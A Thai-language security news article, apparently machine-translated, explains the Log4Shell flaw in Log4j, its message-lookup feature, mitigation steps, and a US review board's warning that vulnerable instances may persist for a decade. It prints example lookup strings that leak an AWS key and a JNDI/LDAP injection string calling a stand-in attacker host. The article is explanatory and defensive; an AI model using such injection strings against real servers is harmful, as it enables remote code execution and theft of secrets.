8 เดือนต่อมา สหรัฐฯ ระบุว่า Log4Shell จะอยู่ราวๆ “หนึ่งทศวรรษหรือนานกว่านั้น”

จำ Log4Shell?

มันเป็นจุดบกพร่องที่อันตรายในชุดเครื่องมือการเขียนโปรแกรม Java โอเพ่นซอร์สยอดนิยมที่เรียกว่า log4jย่อมาจาก “Logging for Java” ซึ่งเผยแพร่โดย Apache Software Foundation ภายใต้สิทธิ์การใช้งานซอร์สโค้ดเสรีเสรี

หากคุณเคยเขียนซอฟต์แวร์ทุกประเภท ตั้งแต่ไฟล์ BAT ที่ง่ายที่สุดบนแล็ปท็อป Windows ไปจนถึงแอปพลิเคชันขนาดใหญ่ที่ทำงานบนแร็คเซิร์ฟเวอร์ทั้งหมด คุณจะต้องใช้คำสั่งการบันทึก

จากผลลัพธ์พื้นฐานเช่น echo "Starting calculations (this may take a while)" พิมพ์ไปที่หน้าจอ ไปจนถึงข้อความที่เป็นทางการที่บันทึกไว้ในฐานข้อมูลแบบเขียนครั้งเดียวสำหรับเหตุผลในการตรวจสอบหรือการปฏิบัติตาม การบันทึกเป็นส่วนสำคัญของโปรแกรมส่วนใหญ่ โดยเฉพาะอย่างยิ่งเมื่อมีบางอย่างขัดข้อง และคุณต้องการบันทึกที่ชัดเจนว่าก่อนหน้านี้ไปไกลแค่ไหนแล้ว ปัญหาที่เกิดขึ้น

Log4Shell ความอ่อนแอ (อันที่จริง มันกลับกลายเป็นว่ามีปัญหาที่เกี่ยวข้องหลายประการ แต่เราจะจัดการกับปัญหาทั้งหมดเสมือนว่าเป็นปัญหาใหญ่ปัญหาหนึ่งที่นี่ เพื่อความเรียบง่าย) กลับกลายเป็นว่ามีลักษณะแบบ half-bug และ half-feature

กล่าวอีกนัยหนึ่ง Log4j ทำในสิ่งที่กล่าวไว้ในคู่มือซึ่งแตกต่างจากข้อบกพร่องเช่น aa buffer overflow ซึ่งโปรแกรมที่กระทำผิดพยายามที่จะยุ่งกับข้อมูลที่สัญญาไว้ว่าจะทิ้งไว้คนเดียว...

…แต่หากคุณไม่ได้อ่านคู่มือนี้อย่างละเอียดถี่ถ้วน และใช้มาตรการป้องกันเพิ่มเติมด้วยตนเองโดยเพิ่มชั้นของการตรวจสอบอินพุตอย่างระมัดระวังที่ด้านบนของ Log4j ซอฟต์แวร์ของคุณอาจหลุดได้

แย่จริงๆ อึดอัดไปหมด

การแก้ไขถือว่าเป็นอันตราย

พูดง่ายๆ ก็คือ Log4j ไม่ได้บันทึกข้อความบันทึกตามที่คุณให้มาเสมอไป

แต่กลับมี “คุณสมบัติ” ที่รู้จักกันอย่างหลากหลายและสับสนในศัพท์แสงเช่น การแก้ไข, คำสั่งทดแทน or เขียนใหม่อัตโนมัติเพื่อให้คุณสามารถเรียกใช้คุณลักษณะการจัดการข้อความภายในยูทิลิตี้การบันทึก โดยไม่ต้องเขียนโค้ดพิเศษของคุณเอง

ตัวอย่างเช่น ข้อความในคอลัมน์ INPUT ด้านล่างจะถูกบันทึกตามตัวอักษรอย่างที่คุณเห็น ซึ่งน่าจะเป็นสิ่งที่คุณคาดหวังจากชุดเครื่องมือการบันทึก โดยเฉพาะอย่างยิ่งหากคุณต้องการเก็บบันทึกข้อมูลอินพุตที่ผู้ใช้ของคุณนำเสนออย่างแม่นยำ ด้วยเหตุผลด้านกฎระเบียบ:

ผลลัพธ์อินพุต ----------------------- ------------------------ ชื่อผู้ใช้ =duck -> USERNAME=duck Caller-ID:555-555-5555 -> Caller-ID:555-555-5555 เวอร์ชันปัจจุบัน = 17.0.1 -> เวอร์ชันปัจจุบัน = 17.0.1

แต่ถ้าคุณส่งข้อความที่ห่อตามลำดับอักขระเวทย์มนตร์ ${...}บางครั้งคนตัดไม้อาจทำสิ่งที่ชาญฉลาดด้วยหลังจากได้รับข้อความ แต่ก่อนที่จะเขียนลงในไฟล์บันทึกจริง ๆ เช่นนี้

ผลลัพธ์อินพุต ------------------------------------ -------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=เวอร์ชัน Java 17.0.1/Windows 10 10.0 บัญชีเซิร์ฟเวอร์คือ: ${env:USER} -> บัญชีเซิร์ฟเวอร์คือ: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

เห็นได้ชัดว่า หากคุณยอมรับข้อความบันทึกจากแหล่งที่เชื่อถือได้ ซึ่งสมเหตุสมผลที่จะอนุญาตให้คนตัดไม้ควบคุมคนตัดไม้โดยบอกให้แทนที่ข้อความธรรมดาด้วยข้อมูลภายใน การเขียนข้อความประเภทนี้ใหม่ก็มีประโยชน์

แต่ถ้าเป้าหมายของคุณคือการติดตามข้อมูลที่ส่งโดยผู้ใช้ระยะไกล บางทีอาจเป็นเพื่อวัตถุประสงค์ในการเก็บบันทึกด้านกฎระเบียบ การเขียนซ้ำอัตโนมัติประเภทนี้จะเป็นอันตรายเป็นสองเท่า:

• ในกรณีที่มีข้อพิพาท คุณไม่มีบันทึกที่เชื่อถือได้เกี่ยวกับสิ่งที่ผู้ใช้ส่งจริง เนื่องจากอาจมีการแก้ไขระหว่างอินพุตและเอาต์พุต
• ผู้ใช้ที่ประสงค์ร้ายสามารถส่งข้อมูลที่สร้างขึ้นอย่างลับๆ ล่อๆ ได้ เพื่อกระตุ้นให้เซิร์ฟเวอร์ของคุณทำสิ่งที่ไม่ควรทำ

หากคุณกำลังบันทึกอินพุตของผู้ใช้ เช่น สตริงการระบุเบราว์เซอร์ ให้พูด (รู้จักในศัพท์แสงว่า User-Agent) หรือชื่อผู้ใช้หรือหมายเลขโทรศัพท์ คุณไม่ต้องการให้ผู้ใช้มีโอกาสหลอกให้คุณเขียนข้อมูลส่วนตัว (เช่น สตริงรหัสผ่านหน่วยความจำเท่านั้น เช่น AWS_ACCESS_KEY_ID ในตัวอย่างด้านบน) ลงในไฟล์บันทึกถาวร

โดยเฉพาะอย่างยิ่งถ้าคุณได้บอกผู้ตรวจสอบหรือหน่วยงานกำกับดูแลของคุณอย่างมั่นใจว่าคุณไม่เคยเขียนรหัสผ่านแบบข้อความธรรมดาลงในที่จัดเก็บถาวร (คุณ ไม่ควรทำสิ่งนี้แม้ว่าคุณจะยังไม่ได้บอกหน่วยงานกำกับดูแลอย่างเป็นทางการว่าคุณไม่ได้ทำ!)

เลวร้ายยิ่งกว่าที่จะมา

ในกรณีของ Log4Shell is-it-a-bug-or-is-it-a-feature สิ่งต่าง ๆ นั้นแย่กว่าตัวอย่างที่มีความเสี่ยงอยู่แล้วที่เราได้แสดงไว้ข้างต้น

ตัวอย่างเช่น ผู้ใช้ที่จงใจส่งข้อมูลเช่นอินพุตที่แสดงด้านล่างอาจก่อให้เกิดลำดับเหตุการณ์ที่เป็นอันตรายอย่างแท้จริง:

ผลลัพธ์อินพุต ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> ดาวน์โหลดและเรียกใช้โปรแกรม Java ระยะไกล!?

ในสตริง "การแก้ไข" ด้านบน the ${...} ลำดับอักขระที่มีตัวย่อ jndi และ ldap บอกให้ Log4j ทำสิ่งนี้:

• ใช้ Java Naming และ Directory Interface (JNDI) เพื่อค้นหา dodgy.server.example ออนไลน์
• เชื่อมต่อกับเซิร์ฟเวอร์นั้นผ่าน LDAP โดยใช้พอร์ต TCP 8888
• ขอข้อมูล เก็บไว้ในอ็อบเจ็กต์ LDAP BadThing.

กล่าวอีกนัยหนึ่ง ผู้โจมตีสามารถส่งข้อมูลที่ออกแบบมาเป็นพิเศษซึ่งจะสั่งให้เซิร์ฟเวอร์ของคุณ "โทรหาที่บ้าน" ไปยังเซิร์ฟเวอร์ภายใต้การควบคุมของพวกเขาโดยไม่ต้องลาก่อน

นี่จะเป็น “คุณสมบัติ” ได้อย่างไร?

คุณอาจสงสัยว่า "คุณลักษณะ" เช่นนี้ทำให้เป็นโค้ด Log4j ได้อย่างไร

แต่การเขียนข้อความประเภทนี้จะมีประโยชน์ ตราบใดที่คุณบันทึกข้อมูลจากแหล่งที่เชื่อถือได้

ตัวอย่างเช่น คุณสามารถบันทึก ID ผู้ใช้ที่เป็นตัวเลข แต่ยังขอให้ผู้บันทึกใช้ LDAP (the โปรโตคอลการเข้าถึงไดเร็กทอรีน้ำหนักเบาซึ่งใช้กันอย่างแพร่หลายในอุตสาหกรรม รวมทั้งระบบ Active Directory ของ Microsoft) เพื่อดึงและบันทึกชื่อผู้ใช้ที่เชื่อมโยงกับหมายเลขบัญชีนั้นในขณะนั้น

สิ่งนี้จะปรับปรุงทั้งความสามารถในการอ่านและค่าในอดีตของรายการในไฟล์บันทึก

แต่เซิฟเวอร์ LDAP ที่ Log4j เรียกออกมาในตัวอย่างด้านบน (ซึ่งเลือกโดยผู้ใช้ทางไกล อย่าลืม) ไม่น่าจะรู้ความจริง ไม่ต้องพูดถึง และผู้ใช้ที่ประสงค์ร้ายจึงสามารถใช้เคล็ดลับนี้ได้ บันทึกของคุณมีข้อมูลปลอมและแม้แต่ข้อมูลที่น่าสงสัยทางกฎหมาย

ที่แย่ไปกว่านั้นคือ เซิร์ฟเวอร์ LDAP สามารถส่งคืนโค้ด Java ที่คอมไพล์ล่วงหน้าเพื่อสร้างข้อมูลที่จะบันทึกได้และเซิร์ฟเวอร์ของคุณจะเรียกใช้โปรแกรมนั้นตามหน้าที่ ซึ่งเป็นโปรแกรมที่ไม่รู้จัก ซึ่งจัดหาโดยเซิร์ฟเวอร์ที่ไม่น่าเชื่อถือ ซึ่งเลือกโดยผู้ใช้ที่ไม่น่าเชื่อถือ

พูดอย่างหลวมๆ ถ้าเซิร์ฟเวอร์ใด ๆ ในเครือข่ายของคุณ บันทึกอินพุตที่ไม่น่าเชื่อถือซึ่งมาจากภายนอก และใช้ Log4j เพื่อทำเช่นนั้น...

…จากนั้นอินพุตนั้นก็สามารถใช้เป็นวิธีการโดยตรงและทันทีเพื่อหลอกให้เซิร์ฟเวอร์ของคุณเรียกใช้โค้ดของคนอื่น แบบนั้น

ที่เรียกว่า RCE ในศัพท์แสง ย่อ for การเรียกใช้โค้ดจากระยะไกลและบั๊ก RCE มักเป็นที่ต้องการของอาชญากรไซเบอร์มากที่สุด เนื่องจากโดยทั่วไปแล้ว ข้อผิดพลาดดังกล่าวสามารถนำไปใช้เพื่อฝังมัลแวร์ได้โดยอัตโนมัติ

น่าเสียดายที่ธรรมชาติของบั๊กนี้หมายความว่าอันตรายไม่ได้จำกัดอยู่แค่เซิร์ฟเวอร์ที่เชื่อมต่อกับอินเทอร์เน็ต ดังนั้นการใช้เว็บเซิร์ฟเวอร์ที่เขียนด้วยภาษา C ไม่ใช่ Java (เช่น IIS, Apache https, nginx) และด้วยเหตุนี้เองจึงไม่ได้ใช้บั๊ก รหัส Log4j ไม่ได้ทำให้คุณปราศจากความเสี่ยง

ตามทฤษฎีแล้ว แอป Java ส่วนหลังใดๆ ที่ได้รับและบันทึกข้อมูลจากที่อื่นในเครือข่ายของคุณ และใช้ไลบรารี Log4j...

…อาจถูกโจมตีและโจมตีโดยผู้โจมตีจากภายนอก

การแก้ไขค่อนข้างตรงไปตรงมา:

• ค้นหาเวอร์ชันเก่าของ Log4j ทุกที่และทุกแห่งในเครือข่ายของคุณ โมดูล Java มักมีชื่อเช่น log4j-api-2.14.0.jar และ log4j-core-2.14.0.jarที่นี่มี jar สั้นสำหรับ ไฟล์เก็บถาวร Javaไฟล์ ZIP ที่มีโครงสร้างพิเศษ ด้วยคำนำหน้าที่ค้นหาได้ ส่วนขยายที่ชัดเจน และหมายเลขเวอร์ชันที่ฝังอยู่ในชื่อไฟล์ การค้นหาไฟล์ที่ละเมิดอย่างรวดเร็วด้วยโค้ดไลบรารี Java เวอร์ชัน "ผิด" นั้นค่อนข้างง่าย
• เปลี่ยนเวอร์ชั่นรถบั๊กกี้ กับอันที่ใหม่กว่าและแพตช์
• หากคุณไม่อยู่ในฐานะที่จะเปลี่ยนเวอร์ชัน Log4J คุณสามารถลดหรือขจัดความเสี่ยงได้โดยการลบโมดูลโค้ดเดียวออกจากแพ็กเกจ Buggy Log4j (โค้ด Java ที่จัดการการค้นหา JNDI ตามที่อธิบายไว้ข้างต้น) และบรรจุไฟล์ JAR แบบย่อขนาดของคุณเองใหม่โดยระงับจุดบกพร่อง

เรื่องราวยังดำเนินต่อไป

น่าเสียดายที่ล่าสุด รายงานรายละเอียด ในเทพนิยาย Log4Shell เผยแพร่เมื่อสัปดาห์ที่แล้วโดย US คณะกรรมการตรวจสอบความปลอดภัยทางไซเบอร์ (CSRB) ซึ่งเป็นส่วนหนึ่งของ Department of Homeland Security มีข้อเสนอแนะที่น่าเป็นห่วง (เน้นด้านล่าง) ว่า:

[T]เหตุการณ์ Log4j ยังไม่จบ [CSRB] ประเมินว่า Log4j เป็น "ช่องโหว่เฉพาะถิ่น" และอินสแตนซ์ที่มีช่องโหว่ของ Log4j จะยังคงอยู่ในระบบอีกหลายปีต่อจากนี้ อาจจะสิบปีหรือนานกว่านั้น. ความเสี่ยงที่สำคัญยังคงอยู่

จะทำอย่างไร?

ที่ 42 หน้า (บทสรุปสำหรับผู้บริหารเพียงอย่างเดียวทำงานไปเกือบสามหน้า) รายงานของคณะกรรมการ เป็นเอกสารที่ยาวและบางส่วนก็หนักหน่วง

แต่เราขอแนะนำให้คุณอ่านให้จบ เพราะเป็นเรื่องที่น่าสนใจว่าปัญหาด้านความปลอดภัยในโลกไซเบอร์ที่ควรจะแก้ไขได้ง่ายและรวดเร็วก็ถูกละเลยหรือเลื่อนออกไปจนได้ในภายหลัง หรือถูกปฏิเสธทั้งหมดว่าเป็น “ของคนอื่น” ปัญหา” เพื่อแก้ไข

คำแนะนำที่โดดเด่นจากบริการสาธารณะของสหรัฐอเมริกา ซึ่งเรารับรองด้วยใจจริง ได้แก่::

• พัฒนาขีดความสามารถในการรักษาทรัพย์สินทางเทคโนโลยีสารสนเทศ (IT) ที่ถูกต้องและสินค้าคงคลังของแอปพลิเคชัน
• [ตั้งค่า a] จัดทำเป็นเอกสาร โปรแกรมตอบสนองช่องโหว่.
• [ตั้งค่า a] เอกสารการเปิดเผยช่องโหว่และกระบวนการจัดการ

เมื่อพูดถึงการรักษาความปลอดภัยในโลกไซเบอร์ อย่าถามว่าคนอื่นจะทำอะไรให้คุณได้บ้าง...

…แต่ลองคิดดูว่าคุณสามารถทำอะไรเพื่อตัวเองได้บ้าง เพราะการปรับปรุงใดๆ ที่คุณทำนั้นเกือบจะแน่นอนอยู่แล้ว เป็นประโยชน์ต่อทุกคน เช่นกัน

---

[เนื้อหาฝัง]

---